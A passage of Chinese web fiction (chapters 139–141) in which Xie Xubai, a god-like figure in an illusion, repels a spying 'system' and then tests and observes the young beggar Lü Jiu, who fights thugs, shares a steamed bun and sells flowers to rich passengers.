这里是财富权力汇聚之地,人的贪欲、不甘、嫉妒,仿佛就在纸醉金迷的氛围里被无限放大。 所以谢叙白能够听到的心声,非常之庞杂。 【草他*的,又输了,这群崽种一分钱都不给老子留!必须得想办法把钱赢回来,可是没有本钱……对了,老头子家里一定还有钱!没有就逼他去借!】 【隔壁街又死人了,真晦气,还好老子刚才躲得快,不然衣服要弄脏。】 【满巷的乞丐,怎么都没人管管,万一传出什么脏病……*的,那几个小孩怎么一直在盯着我看,该不会想偷钱吧?快走快走!】 【得意什么,早晚有一天把你们都宰了,眼珠子挖出来!】 【不能让丽娟知道我外面包了个二奶,不然又要闹得鸡犬不宁。】 …… 人的恶念铺天盖地,带来的负面情绪让谢叙白头疼欲裂。 同一位置的某一时刻,仅有那么几道善念出现,然而在如海般汹涌的恶念里,它们就像一叶扁舟,被巨浪轻而易举地打翻。 谢叙白想要屏蔽感知,但聆听人们的心声是新身份与生俱来的本能,没办法完全杜绝。 刹那间,他终于明白系统针对他施加的恶意在哪儿。 他想要救助世人,还世间一个公道,系统就拉他入局,让他知道想救的挚友其实是个罪无可赦的烂人,看见所爱的世人欲望无尽,有多么肮脏不堪。 第139章 这小孩碰瓷! 与此同时,和此世界处于不同维度的虚空之上,谢叙白在这一时刻的情绪变化,全部被转化成数据流的形态,而一双虚幻无形的眼睛将其尽收眼底。 当监测到,始终淡定从容的谢叙白,在接触到山呼海啸般涌来的庞杂恶念后,内心猛然产生剧烈的动荡,这双眼睛登时激动得弯出两道极大的弧度,充斥着说不出的恶意。 人与诡异看似是两种存在,差别巨大,其实相差也不过一个心境意念上的距离 。在认知和精神被具象化为实际力量的世界,成佛成魔更是在一念之间。 谢叙白是系统未能预料到的唯一变数,但终究只是个人类,只要是人类,就逃不过人性之恶。此时此刻,只要谢叙白对拯救世人的信念产生一点怀疑,系统便能继续从中作梗,加重加深这份怀疑。 铜墙铁壁会开裂,恶的种子会在缝隙中生根发芽,最终使得整个城墙分崩离析。 监控影像中,灵魂态的谢叙白忽然身体一晃,以手撑额,似乎承受不住这样的打击,沉重地深深吸上一口气,脸皮紧绷到颤抖。 窥伺他的系统更觉得意,眼睛轻蔑地朝上扬了扬,加大力度,朝谢叙白传输周围居民商贩的负面心声。 突然,扶住额头的谢叙白毫无征兆地扯眉,视线如鹰似箭,刺向往头顶的高空。 系统隔着监视屏幕,更隔着不同维度和谢叙白对视在一起,本应满是痛心挣扎的眼睛中,竟然只有锐意! 谢叙白道:“原来你在这。” 如果系统是人,就会在此刻亲身体会到什么叫惊心动魄。 再下一秒,只见监测屏幕上,代表谢叙白情绪起伏的数据波形忽然变得平缓,峰值骤降,直至回归平静。 怎么会? 反应过来的系统气得快要炸掉了。 谢叙白是故意的,故意表现得不堪一击,让它迫不及待加大输送心念的频率,漏出破绽,进而锁定它的位置!谢叙白从始至终就没有情绪失控! 精神力扫荡而出,如同迅猛挥出的利刃,斩向系统所在之处。 谢叙白对精神力的掌控仿佛经过了千锤百炼,即使是假的力量,也能被他运用自如。 系统仓皇躲避,那道攻击贴着它砸在虚空弊端,空间蓦然震动,犹如山崩地裂。 在它轻视谢叙白的这段时间,这个不起眼且资质低下的人类,竟然成长到如此地步? 系统该万分庆幸,幸好谢叙白在戏院副本中的力量是它赋予的,用作引诱对方上当的前置条件。加上谢叙白只是摸到成神的门槛,并没有真的变成神,不然这一下它怎么都避不开,不死也残! 谢叙白一击没有得手,没有二话,再出一击。 金光频发,没有间隙,如万千流矢砸向虚空。系统躲得非常狼狈,几次三番终于被逼出火气:谢叙白真当它是个软柿子吗?啊! 谢叙白几次攻击没有得手,意识到在幻境副本中可能很难对系统造成直接伤害,没有迟疑,果断催动自己的本源精神力。 系统也对谢叙白生出滔天杀意!这人的威胁太大了,成长速度远超数据预测,再放纵下去必将引起后患。 为此它不惜再改规则,利用副本之便对谢叙白下黑手。既然精神上打不过谢叙白,那就从肉体上彻底磨灭! 就在这个时刻,虚空骤然发生剧烈动荡。 和谢叙白砸石入湖引起的动荡不同,这一次动荡汹涌无比,就像湖泊周围发生地震,引得群山山石轰然塌陷,重重砸入湖面,惊起冲天波澜。 除了谢叙白,还有人在进攻虚空! 检测到攻击它的力量来源,系统恨声怒斥:【宴朔!你疯了吗?如果虚空坍塌,你也别想活!!】 回答它的,只有一声不屑的嗤笑,和更加猛烈的攻击。 系统被逼得节节后退,意识到宴朔这疯子真的不惧同归于尽,只能打消对付谢叙白的想法,含恨无奈撤离。 如附骨之疽的被监视感消失了。 谢叙白及时收手,没让本源精神力溢散,影响到幻境副本。 他疑心系统有诈,在原地静待许久,直至感受不到一丝动静,方才谨慎地收回精神力。 同时思绪千回百转。 谢叙白原本做好和系统打个对招,以试深浅的准备,却没想到会这么快得到平息。 他深知系统有更改规则的能力,必定不会被轻易吓退。 撤得这么快,要么是这场无限游戏,系统和他们一样,也受到某种限制,忌惮直接出手。要么,是突然发生了什么变故。 谢叙白沉吟。 刚才在攻击系统的时候,他感受到了一股熟悉的力量……不难认,就是宴朔,那霸道专横的精神力简直独一份。 是宴朔在出手帮他? 这几天他和金丝眼镜朝夕相处,宴朔那边反而没什么动静。谢叙白不会忘记分身与本体共感,就是这样他才心情复杂。 本以为宴朔无动于衷,是不在意…… 谢叙白忽然觉得有点怪异,下意识摸向金丝眼镜,想要问点什么,直至摸了个空,才想起眼镜没有与他一同进入这幻境副本。 底下闹市区九街十三巷,大钟楼外人潮涌动,往来路人商贩熙熙攘攘,喧闹笑声如潮水般传来。阳光自头顶照下,再回鲜活人间气。 谢叙白仍旧能听到人们潜藏在心中的恶念,但没有系统从中作梗,终于不再是恶念一边倒,倾覆世人百念的局面。 【这钱还要留着……唉,罢了罢了,这孩子看着实在可怜。】 【买到了买到了!珍宝阁新出的护手膏,芬儿一定喜欢。平日多亏她操持家里,待日后挣了大钱,给她买更好的!】 【坚持,撑过去……管事的说我表现不错,干完这单,回去给爹娘换床新棉被,再换身新衣裳,叫弟妹们读书习字!】 …… 谢叙白回神,闭上眼睛去仔细聆听,紧绷的嘴角终于缓和,微微扬起一抹放松的笑。 刚扬起没多久,他冷不丁瞧见小少爷的家,顾家大院的空坝子上,骤然集结起一批人高马大的保镖。 小少爷顾南虽是神魂有损,但看着尚未遇难的母亲,痴傻的脑子竟也飞速转动起来。 既然吕九是害他们顾家家破人亡的祸根,那就在一切厄运发生之前,将它扼杀在摇篮中! 为此顾南找来管事,叫上数名保镖,依照印象描述完吕九的特征和所处地点,双眼赤红,神色含恨地喝令:“我不管你们用什么办法,给我抓到那个叫吕九的乞儿,死活勿论!” 顾家在这一带是知名的仁善大家,每逢灾荒,必会开仓放粮,救济四方贫民。 前世顾家能因为吕九归还玉佩的事,就对他另眼相看,颇为赏识,不嫌吕九的乞儿身份将其收为义子,视如己出,可见顾家仁义。 但是,要知道,能在各方势力角逐、竞争极为激烈的大都市里站稳脚跟,沾血的生意,顾家也是做的。 何况这个时期局势正乱,人命贱如草芥,乞丐更是不如蝼蚁。 平民冲撞权贵人家被乱棍打死,最后不了了之的事情,也并不罕见。 谢叙白看着保镖成群而出,去寻找吕九的下落,当即将识念散开,笼罩在顾南提到的地区,十三街。 十三街在大都市各个街区中排最末尾,由于地区经济等各项原因,开发建设的时候也被落下,没什么资源,至今还大片林立着上个世纪的破房子,有的外层砖坯都已经掉落,形似藓瘢。 这里鱼龙混杂,只有走投无路的人才会久留,安置着不少乞丐、通缉犯、躲债的赌客、妓女和偷渡的流民,是所有人心照不宣的贫民窟。 谢叙白没费多少功夫,就找到了吕九。 顾南说遇到吕九时,对方衣衫褴褛,遍体鳞伤,看着快要没命才心生恻隐,施以援助。 所说不假。 因为吕九正被围殴。 对面三个成年人抓他一小孩,但没有落着好处。谢叙白识念锁定吕九的时候,小孩满眼凶狠,身手敏捷地从地上捡来半块石砖,啪的一下!给面前一人砸得满脸血开花。 顾家的保镖刚刚出门,还没走出家门口那条街,眼前三人不是顾家的人。 谢叙白飞快扫向三名壮汉的长相和服饰,在某处特征徽记上,瞳孔微凝。谢叙白不会认错,他们是罗浮屠的人。 “我草你*的狗崽子!” 一人暴怒大喝,拎起手里的棍子,照着吕九的后脑勺狠狠地敲了下去。 危急之刻,谢叙白指尖一动,精神力如气劲打在壮汉的手腕,棍棒落地。 而吕九快速回头,继短暂慌张后迅速操起地上的砖瓦,给壮汉脑袋也开了个瓢。得手后没有半秒停留,冲到最后一人身前,一个头槌把人撞倒,发狠地把板砖扣到人脑袋上。 整个打斗过程不超过一分钟,他的下手称得上快准狠,眼神染着戾气,没有一个多余的动作,就像从尸山血海中杀出来的狼崽子,一击毙命,就是大他几岁的成年人都不一定能有这个身手。 得手后,吕九明显虚脱,不稳地后退两步,用脏袖子擦掉鼻血,看着倒在地上昏迷不醒的三个壮汉,边急促地喘气,边扯出一个笑。 “个龟孙的,追我跟赶着出殡似的,都不让老子多休息两天。” 吕九呸出一口带血的唾沫,将板砖丢在地上,盯着壮汉掉在地上的棍棒,狐疑地回头看了看。 谢叙白就站在他的身边,静静地注视着他。 吕九的目光微微定格,心情没来由有点怪异,最后没瞧见人,奇怪地嘟囔:“难道是手滑?” 他甩甩脑袋,从地上捡起一个破布包袱,简单拍了拍蹭在上面的泥浆,浑不在意地背上身。 巷子里有不少住户,但似乎对刚才发生的打斗司空见惯,没有一个人探出脑袋看看是什么情况。 吕九又往前走,忽然脚下传来唰啦的轻响,低头一看,是个钱袋子。 那是其中一名壮汉的钱袋子。巷子杂乱,都是木板类的堆积物,大概是打斗的时候,不小心勾到了旁边的晾衣架,这才掉了下来。 吕九盯着钱袋子,弯下腰,将其捡起,咧开嘴,在手里掂量两下。 哗啦啦,鼓鼓的钱袋子又传出钱币晃荡的声音,世人匆匆忙忙,皆为此往。 小孩浑身衣服破烂,至少两个星期没洗澡,从头脏到脚。谢叙白猜测吕九现在应该很缺钱。 但就在他以为小孩会把钱袋子据为己有头的时候,吕九突然再弯身,把袋子按在地上疯狂蹭,蹭满血和泥,掰开壮汉的嘴恶狠狠地塞了进去。 壮汉被塞了一嘴泥,要是还醒着,估计会暴跳起身。 完事,吕九又一脚踩在壮汉的脸上,以之为踏板,往前一蹬,一跳,仿佛跳水运动员,张开手臂稳稳落地。 回头看着壮汉脸上乌漆嘛黑的鞋印,他笑了,心情变得极好,嘴里哼着不知名的调儿,蹦蹦跳跳地离开:“远看黑压压,近看是王八,大的有两石,小的一石八,大的咬他爹,小的咬他妈——” 谢叙白在后面看着:“……” 嗯……不是他为吕向财开脱。 这小鬼头要是有颠覆顾家的心思,和实力,那大概还是有些蹊跷的。 谢叙白回头检查壮汉衣服上的纹饰。他看过记过,不会认错,可以确定他们就是罗浮屠的人。 那就奇怪了,罗浮屠和吕九这时候不是一伙的吗,为什么要对吕九下手,难道是内讧? 稍一琢磨,谢叙白顺着吕九离开的路追了上去。 新的身份,是神,在这个幻境副本中,可以为所欲为。本来系统是想搞垮谢叙白的意志,没想到偷鸡不成蚀把米,反倒给谢叙白带来极大的便利。 但这个幻境,不是真正的过去。 谢叙白再次看戏的目的,是探究吕向财曾经做过哪些错事,和罗浮屠一伙人共同犯过什么罪。 或许因为吕九是这个幻境的缔造者,他无法像聆听他人心声一样,直接听到吕九的内心所想。 谢叙白思忖,如今最好的做法,其实是冷眼旁观,因为干扰插手的越多,发生的变数越多,离真相也就越远。 但观察心性,从细节就行,不需要干扰即将发生的大事件。 谢叙白动用精神力,照着周围居民的扮相,为自己捏造出一个小孩身躯。吕九快要跑出巷子的时候,他直直地冲了上去。 小孩子,孱弱可怜,没有任何抵抗之力,摇摇晃晃地挡在路前。 心善的人会顺手扶一把,暴躁不耐的人会一把推开,或是一脚踹开,心性阴暗的人则会冒出更多丑恶的想法。 但吕九的做法和上述都不同。 他躲开了。 谢叙白反应也很快,顺着惯性,佯装不稳地摔在地上,捂住被撞到的脑袋。 回头,正看见吕九居高临下地看着他,警惕地捂紧松松垮垮的胸口,眯了眯眼睛:“小孩,跑那么快,想搁这儿偷钱是吧?” 若是有人在旁,大概横竖都想不通,这实实在在丐帮弟子装扮的小屁孩,浑身上下有什么地方值得偷的。 谢叙白不动声色地打量,稍一思索,便明白了吕九为什么是这样的反应。 对方从小到大的生活环境很乱,就像这片臭名昭著的“贫民窟”,乱到小孩子装可怜偷钱是常事。 吕九要么看得比较多,要么吃过教训,以至于发现有小孩凑上来,瞬间条件反射地护住身上仅有的财物。 见谢叙白埋着脑袋沉默不语,吕九盯他几秒,愈发肯定心里的猜测,轻蔑地嘁了一声,转身要走,又听见背后的动静。 他不以为意地往后瞄了一眼,防止谢叙白再扑上来偷袭。 谁知道小孩子跌跌撞撞地爬起来,一双黑白分明的眼珠子直勾勾地盯住他,不一会儿,眼眶红上一圈,抽了抽鼻子,豆大的泪水噼里啪啦往下掉。 吕九:“……??” 他跟活见鬼似的瞪大眼睛,草,不是偷钱是碰瓷! 第140章 馒头有点甜 吕九立即如临大敌地盯着四周,生怕从哪里蹦出个人来说他欺负自家小孩,然后讹钱。 但事实上什么都没有。这片街区还是和往日一样混乱嘈杂,四面八方时不时能听见咒骂、打砸锅碗的声音,衬得这条荒凉破旧的巷子格外寂静。 吕九左右扫视一圈,似乎觉得奇怪,定定地看了眼兀自掉眼泪的谢叙白,什么都没说,面无表情地转身离开了,就像一个漠不关心的路人。 谢叙白看着小孩转身离开的背影,没有追上去,上赶着只会显得疑点更多。 他散出识念,感知到顾家的人正在往这一片区域靠拢,稍微动用了一下精神力,延缓他们赶过来的速度。 吕九并非顾南印象中的狼子野心,看他动手时的狠辣果决,或许和罗浮屠还有解不开的仇怨。 谢叙白猜测,顾南重生应该也是系统的手笔。顾南满腔恨意,肯定会对吕九下手,既可以扰乱要上演的历史轨迹,阻碍他探究过去,也能加大他对吕九的猜疑和反感。 想到这里,谢叙白遣出一道分身,找到顾南。 不亲眼看到吕九被抓或者身死,顾南没法心安。他让保镖们出动,自己也没落下,同样在快速赶往十三街的路上。因为脚力不行,坐的轿车。 车内静得针落可闻,气氛紧张。顾南全程一言不发,眼睛红得能滴血,如同恶鬼,叫随行的管事胆寒,大气不敢出一下。 却见顾南忽然仰起头看向窗外,似乎看见什么,脸上的怨恨消失不少,惊诧地眨了眨眼睛:“你——” 话没出口,大概意识到旁人是看不见谢叙白的,连忙捂住嘴。 谢叙白此时是灵魂态,在顾南身边落座,笑道:“没事。” 他用精神力干扰了他人认知,只有顾南能瞧见听见他们的对话。 顾南放心了,眼巴巴地看着谢叙白:“你刚才去哪儿了,我四处都找不到你。” 对眼前这位给了自己一次重生机会的存在,他下意识心生依赖和崇敬。 谢叙白没有马上开口,聆听顾南的心念,和他预料中大差不差,大半都在咆哮述说对吕九的杀意。 顾南此刻魂魄不全,心智有缺,不影响日常言行,却容易走极端,对报仇的念头死抓不放。何况这是家破人亡的血海深仇,一般人都无法理智对待。 如果这个时候解释吕九背叛顾家的事情有蹊跷,对方可能是被冤枉的,顾南大概率听不进去。 谢叙白略微沉吟,轻叹一声:“你做错了。” “什么?”顾南茫然,心脏微微提起。 谢叙白:“你既然也知道吕九是与对家里应外合,联手搞垮了顾家,这样大张旗鼓地去抓人,岂不是容易打草惊蛇?” “吕九这样的乞儿,本身没有什么价值,满大街都是,随时能抓来再培养一批。看见他暴露,幕后主使不会保他,只会杀人灭口,并在此后心生警惕,隐藏得更深,顾家说不准会更危险。” 见顾南张了张嘴,下意识想要反驳,谢叙白笑着说:“不过,要是你知道幕后主使是谁,那就不用大费周章去探查了,直接对付就是。” “能截断顾家的生意,对顾家名下的各大产业钱庄横插一脚,害你们破产倒闭,连挽救都来不及,对方必定有着不输于顾家的手笔。你知道那些人是谁吗?” 顾南哽住,捏紧拳头,回答不出来。 他只知道一个吕九,一个罗浮屠。但抿心自问,这两人要不是日后坑害了顾家,三教九流之辈,论名望势力,不过尔尔,当真有搞垮顾家生意的能力? 顾家生意兴隆,黑白都有涉猎,是块人人眼红觊觎的大肥肉。出事的时候,眼见顾家再难复起,各大家族纷纷摒弃之前的情义,争相冲上来咬上一口。 顾南前世死得早,没能看到最后的局势变化,也无法凭借谁获益最多,来判断幕后主使究竟是谁。 怕顾南思维打搅,谢叙白动用精神力,短暂性地助他神识清明。 顾南想通关窍,又回忆起那些落井下石的嘴脸,越发感觉周身发寒,期盼地求助道:“难道连你也不知道幕后者是谁吗?” 谢叙白摇了摇头。 顾南丧气极了,攥紧的拳头咔嚓作响,用力抿紧嘴唇:“那我该怎么办?” 重生属于怪力乱神,刚才他和母亲全盘托出,吓得顾家主母怀疑他发烧脑热,要拉他去医馆。在旁的伯母叔母一样紧张,根本没人相信。 没有决定性的证据,就算将有人要对付顾家的事告诉他爹,凭他爹的性子,只会笑着说不遭人妒是庸才,想要对付顾家的人多了去了,不会放在心上。 “很简单。”谢叙白笑着解惑道,“提前布置,将计就计,引蛇出洞。” 话音刚落,谢叙白头顶忽然传来一道人声:“小鬼,哭傻了吗?” 他意识到是本体那边听到的声音,三言两语教导完顾南一会儿该做什么,将视角切换回老旧的巷子。 抬起头,正对上吕九意味不明的眼神。 原是去而复返。 吕九蹲下身,和谢叙白视线平齐,语气不算温和,似笑非笑:“小鬼,你走路跌跌撞撞,动静忒大,但接近这个巷子口的时候,我一点都没听见你的脚步声——你一开始就等在这里。” “你冲过来前,有个起步跑的动作,说明是看见我出现后才冲了过来,我是你的目标。现在搁这儿哭得稀里哗啦的,说说看,是不是没能成功偷到我的钱,怕回去挨打,所以哭成这样?嗯?” 现在的吕九,只是个十岁出头的小孩,五官都没有长开。 但大抵是遭遇了不少事,他的谈吐带着远超这个年龄段的成熟,眼睛微微眯起的时候,和日后那只狡黠的大狐狸别无二致。 说多错多。被吕九看出异常,谢叙白没有辩解,垂了垂眼睫,双肩抽动,好不容易止住的眼泪水啪嗒啪嗒掉得更凶了,眼睛弥漫水雾,看着好不可怜。 “……”吕九盯着他,看起来想骂脏话,但生生咽了回去,牙疼地轻喝,“又哭什么哭,你是水做的吗?” 谢叙白不说话,只哭,越哭越凶,简直要哭岔了气。 眼看小萝卜头捂住胸口,哭得快翻起白眼来,吕九堪称焊死的笑脸终于破开一个口子。 他手忙脚乱地按住谢叙白的肩膀:“停,停下,你哭什么啊?我被你碰瓷,我都没哭呢,现在的小屁孩怎么这么脆弱,我的天!别哭了,你气儿都喘不匀了,怎么手都在发冷哆嗦,你不会死吧??” 小孩子有多脆弱,想必吕九是见识过的。 摸到谢叙白手掌冰沁,吕九直接吓得声音拔高,将他一把抱起,搂在怀里边拍边哄,快步朝外跑,无措地吼:“喂?有没有人啊,这是谁家的小孩!你们家小孩出事了!要死了!” 谢叙白勾住吕九的脖子,不动声色地查探对方的脉搏,跳得很快,着急紧张的情绪不似作假。 他无声地笑了一下,在吕九的怀里止住哭声。 吕九心系他的安危,几乎一秒就发现他的变化,忙放下来仔细打量。 见小孩气息平稳,他明显松上一口气,没好气地问:“没事了?不哭了?” 谢叙白继续扮演自闭小孩,眼角挂泪,轻轻地嗯了一声。 吕九看着这缩着脑袋的闷葫芦,情绪大起大落,简直没脾气。 他用力地挠了挠头发,纠结好一阵,又回头看了眼三名壮汉昏迷倒下的位置,猛地一咬牙,拽起谢叙白的手:“你家大人在哪儿,我送你过去。” 谢叙白指了指旁边的窄道。 吕九拉着他往前走。 没走两步,谢叙白忽然感觉面前递来一个柔软温热的东西,散着面香,仔细一看,是个冒着热气的大馒头。 谢叙白一怔,抬头看向吕九。 原来对方去而复返,是买了个馒头回来。 吕九扭过头去,有点别扭,眼角余光瞥来一眼:“肚子饿不饿?吃吧。” 谢叙白接在手里。馒头下贴心地垫着一张报纸,外皮雪白干净,和吕九满是脏污血痂的手瞬间形成鲜明对比。 吕九一直偷偷看着他。 谢叙白的这副身体,以贫民窟的大多数小孩子为模板,同样的瘦小且面黄肌瘦。 吕九顺理成章地把谢叙白认成附近居民的孩子。看对方一脸埋汰,比自己好不到哪儿去,估摸谢叙白也是被放养的主,吃了上顿没下顿,无时无刻不在饿肚子。 “吃啊,还愣着干什么。你要是现在不吃,回去后给你家大人抢走,我可不管。” 谢叙白在心里失笑,捏着包裹的报纸,将馒头一分为二,将其中一半递给吕九,笑道:“大哥哥也吃。” 谢叙白大概是不知道,不管他披着什么样的壳子,真心露笑时,眼神总是水润动人的,像风拂过湖面,漾起点点涟漪。 吕九一僵,看着他的眼睛愣神,再眨眼的时候,谢叙白已经不由分说地将馒头塞进他的手里。 吕九当然也饿了,罗浮屠的手下一直在追他,让他连口水都顾不上喝。馒头有淀粉自带的甜味,就是不知道为什么,分一半的馒头咬在嘴里,比往日还甜。 他又忍不住瞥了眼谢叙白,心情有点好,笑道:“臭小子倒是挺讲义气。” 说着将半块馒头塞进嘴里,囫囵吃下去,牵起谢叙白的手,一大一小往外走。 结果一出巷子,就看到严阵以待守在路口的顾家保镖。 吕九一路躲避罗浮屠的抓捕,很是警觉小心,去买馒头的时候,多少也从商贩惴惴不安的状态,感觉到了与往日不同的动静。 只是他万万没想到这股动静冲他而来,登时脸色大变,拽着谢叙白转身要跑。 “等一下,请留步。”一道声音从保镖身后传出。 吕九根本不听,头也不回。 但他还是停了下来,因为谢叙白忽然拽了拽他的袖子,力道出奇的大,差点让他栽跟头。 他踉跄站稳,顾不上瞪小孩,回头一看,见保镖朝两边分开,路中间走出一个风度翩翩的少年,冷着脸看他:“我没有别的恶意,就是想问,阁下打算拽着我家小孩去哪里?” 什么?谁家小孩? 吕九诧异地扭头,一个没注意,牵着的小孩挣开他,雀跃地扑进少年的怀里,亲昵地喊:“顾南哥哥!” 顾南见到吕九,容易被仇恨冲昏头脑,况且残魂不能一直维持回魂的状态,会加重负担。 谢叙白干脆临时接管顾南的身体,动用精神力,让顾南陷入沉眠,温养在意识海。 他一人分饰两角,迎刃有余,让人看不出端倪,将分身小孩一把抱起,心疼地检查个遍,又带着怒气地斥责:“你这几天都跑哪里去了?知不知道大家很担心你,还以为你被拐走了!既然没事,为什么不回家?” 分身小孩哽哽咽咽:“对不起。” 随即编出一段故事,大概解释这几天的经历,谈及吕九:“我不知道该往哪里走,是这个大哥哥找到了我,救了我,还给我东西吃!” 谢叙白作势一脸感激,将分身交给旁边的管事,快步走来,取出随身携带的怀表:“原来是这样,不好意思小兄弟,误会你了,多谢你救我们家孩子。这块怀表你拿着,日后你要是有什么困难,可来顾家找我。” 怀表涂着金漆,顶端嵌着玉石,看起来就价值不菲,但吕九看都没看一眼,更没伸手去接,抬眼注视谢叙白,神色冷凝。 直至分身小孩跑过来,将怀表塞进他掌心:“大哥哥,你拿着,以后来找我玩呀!” 吕九这才动了,缩起手指,望着小孩泪水未干的明亮眼睛,心情说不出的复杂。 他忽地吐出一口气,抓着分身的手掌朝外一翻,露出上面的薄茧,意有所指地笑了笑:“看这位少爷身后的阵仗,身边应该不缺人伺候,怎么还让个小孩干粗活?他真是你家的孩子?” 走丢几天的孩子,可能会饿得憔悴消瘦,但绝对磨不出手茧。 谢叙白和吕九的眼神对在一起,微微怔住。 这是他没留意露出来的破绽。但能发觉也不容易,吕九比他想象中还要聪明细心。 谢叙白垂睫轻叹:“实不相瞒,小白是我家长工的孩子,父母出了事,才被我家收留为义子。” “……”吕九扯了扯嘴角,“这样啊,那以后可得看好点,别又弄丢了。” 他不甚在意地将怀表往口袋里一丢,瞥向拽着谢叙白手不放的分身小孩,挥一挥手,消失在巷子尽头。 谢叙白将一抹识念留在吕九的身上。 怀表已经送出,按照顾南的记忆,明日下午,吕九便会以此为由头接近顾家。 只是刚才,吕九对着一个活生生的顾少爷,没有半点想要巴结讨好的意思,也不知道中途发生了什么,才改变主意上门。 转眼,便来到第二天。《 》 140-150 第141章 端倪 昨天一晚上,谢叙白的识念都跟在吕九的身边。 吕九离开他们之后,先是在十三街逛了一圈,约莫在熟悉地形。随后对比几家干粮店,在最便宜的那家买了几张耐存的大饼,又在各个商圈街道走走停停。 最后,来到渡口岸边。 时至寒秋,天色灰蒙蒙,犹显得苍茫。一艘艘轮船停靠岸边,烟囱冒出黑烟,引擎不断发出破风箱般嘈杂的嗡鸣。海水翻涌,一波接一波冲刷岸口下的砖石台阶,激起白色浪花。 和那些轮船比起来,吕九瘦小,并不显眼,还没有一个集装箱高。 船上工人来来往往,他没有惊动任何人,脱下鞋,走到被海水浸没一级的石阶,脚掌伸进水里的时候,下意识往回缩了一下,似乎被冰得够呛。但一秒不到,他将整只脚实实在在地踩了进去,面无表情地搓洗全身。 吕九至少两个星期没洗澡,又在脏乱的巷子里摸爬滚打,身上的泥痂结成厚厚的一层。他用了狠劲儿,和搓抹布一样,硬生生将那些污渍都抠了下来,皮肤被刮出道道红印,眼睛都没眨一下。 完事后,吕九浑身湿哒哒地上岸。 不知道是不是和壮汉对打的过程中伤到脚,他突然腿软脚滑了一下,眼看要被台阶磕到脑袋,谢叙白抬了抬手指。 一阵风吹来,似无形的大手搀扶住吕九的身体,后者站稳后,惊诧地抬头:“谁?” 却没有看见一个人。 吕九左顾右盼,周围确实没人,但被搀扶的触感是实打实的,这让他瞬间有些惊疑不定。 渡口风大,他浑身是水,容易感冒。站了一会儿,什么都没有发现的吕九,只能拧着眉头离开。 吕九一路小心,走着走着,闪身躲进集装箱堆积的角落,从包袱中拿出还算干净的换洗衣服,手脚麻溜地换上。 这一番折腾下来,原本的泥猴小乞丐瞬间大变样。 谢叙白看在眼里,恍然发现吕九在成为吕向财的时候,并没有完全用上自己的真容。 对方的骨相姿容称得上浑然天成,十多岁就有日后的美人之姿,即使穿的是粗布衫,扮相不出彩,但走在路上,注意到他的人估计都会忍不住再瞧上两眼,赞叹地说一声:“好标致漂亮的小孩。” 末了,吕九将钱贴身装好,包袱藏在杂物堆,有目的地赶到一个海岸口。 这个海岸口停靠的船舶明显和其他的商船货船不一样,从下往上数,足足有五层,外表装饰奢华,彩色的灯光似五彩琉璃。最上一层甲板上,站着不少衣装华丽的贵妇人和绅士,手里端着红酒,在浪漫悠长的音乐声侃侃笑谈。 明摆着这艘豪华轮船即将开展宴会,陆续登船的都是有钱人。这里不让摆摊,耐不住有钱人出手阔绰,小贩们就是不出摊,提着篮子也要来卖东西。 吕九在旁边观望几分钟,朝一个年纪不大的卖花郎走了过去。 卖花郎的生意很不好,即使他竭力推荐自己的花,路过的客人还是看都懒得看一眼,偶尔有几人似乎感兴趣,驻足停留,朝他的花篮里瞄上一眼后,也会兴致尽失,扭头离开。 眼看篮子里一朵花都没能卖出去,卖花小孩愁眉苦脸,简直快沮丧地哭出来,吕九就在这时靠近,笑眯眯地调侃:“你到底会不会卖东西啊?” 被这样质疑嘲笑,是谁都会生气,可以说吕九的脸完美地充当了灭火器的作用。 扭头看见言笑晏晏的吕九,一腔怒火正要骂人的卖花小孩打了个结巴,几秒后才愤愤不平地怼回去:“你谁啊你?我不会,难道你会?” “我还真会。”吕九挑一下眉头说,“这样吧,我们俩合作,我帮你把花都卖出去,卖花的钱分我七成。” 卖他的东西还要分走七成的利,卖花小孩都惊呆了:“什么?分你七成?你做梦呢吧!” 吕九双手抱胸,理所当然地看着他:“这艘船就要开了,再想不到办法把花卖出去的话,这一篮子花都要烂在你的手里。秋天找花不容易,我估计你这一天没做其他事,尽摘花卖花了。花要是放到明天,蔫了,更卖不出去。忙前忙后一个子没赚到,你就算不饿肚子,也要被家里人骂。难道你想这样吗?” 卖花小孩被戳到软肋,冲吕九直瞪眼睛,说不出反驳的话。 吕九笑道:“反正你都卖不出去,交给我来试一试,又不亏什么,横竖不会比现在更惨。” “我保证,最后你手里能拿到的钱,一定比原本卖完这些花的钱更多。” 卖花郎被他说得心动了,但觉得三七分实在太黑,和吕九一顿讨价还价,最后定为五五分。 听到最后的分成,吕九不留痕迹地勾了下唇角。 旁观的谢叙白忍俊不禁,猜到这家伙肯定是故意狮子大开口,让卖花郎有讲价还利的余地,自然美滋滋地接受他的不合理要求。 吕九拿到花篮,第一步先挑挑拣拣,把里面的花毫不犹豫地扔了一大半,卖花郎见状又是一惊,心疼地冲去捡花,又要发怒:“你干什么啊?” “我说你傻不傻?”吕九从怀里拿出不知道哪儿捡来的彩绳彩纸,虽然都是些被人舍弃的边角料,但经过他灵巧一折一系,立马化身精致的小装饰。 吕九:“你这些花再好看,能好看过那些有钱人在花店精挑细选出来的品种货?那些蔫儿吧唧、不够艳、花瓣都掉了的,他们只会觉得污了自己的眼睛,你之前没卖出去,就是因为这个。” 吕九边说着话,边头也不抬地将装饰系在花上:“别说花了,就是比这漂亮贵重的珠宝首饰,他们也不会缺。所以,如果他们愿意买花,要么是觉得卖东西的人可怜,要么是突然来了兴致,你得让自己的花有合他们心意和眼缘的价值。” 卖花小孩没上过几天学,不知道什么叫眼缘、价值,在旁边听得一愣一愣的。 等回过神来的时候,吕九已经拿着花走向不远处一对正准备登船的男女。 男女亲密地挽着胳膊,耳鬓厮磨,笑得开心,也是这时,吕九来到他们的面前。 “这位帅气的先生,您愿意买两束花吗?”吕九扬起脑袋看向男人,却将交织的花递到女方的面前,笑得可爱灵动,眨了眨眼,“这两朵花是矢志不渝之花,它们不同根,却在生长的过程中,枝叶跨过石子栅栏紧紧地连结在一起,不管是怎样的狂风暴雨都没能将它们分开。” “如果您买下它们,您日后都会与自己的爱人携手相伴,永结同心,幸福美满,恩爱两不疑。” 卖花郎在后面伸长脖子,踮起脚尖眼巴巴地观望。 见女人被哄得心花怒放,男人笑着接过花,他迫不及待追问回来的吕向财:“你居然真的卖出去了!刚才你走得快,我都忘记给你说,一朵花至少要卖三铜板,你卖的多少?” 吕九笑眯眯地睨他一眼,将手里的钱抛过去。 卖花郎连忙接住,摊开手,震惊地瞪大眼睛,只感觉自己要被掌心银晃晃的亮光闪瞎了眼,激动得语无伦次:“我的老天爷啊!” 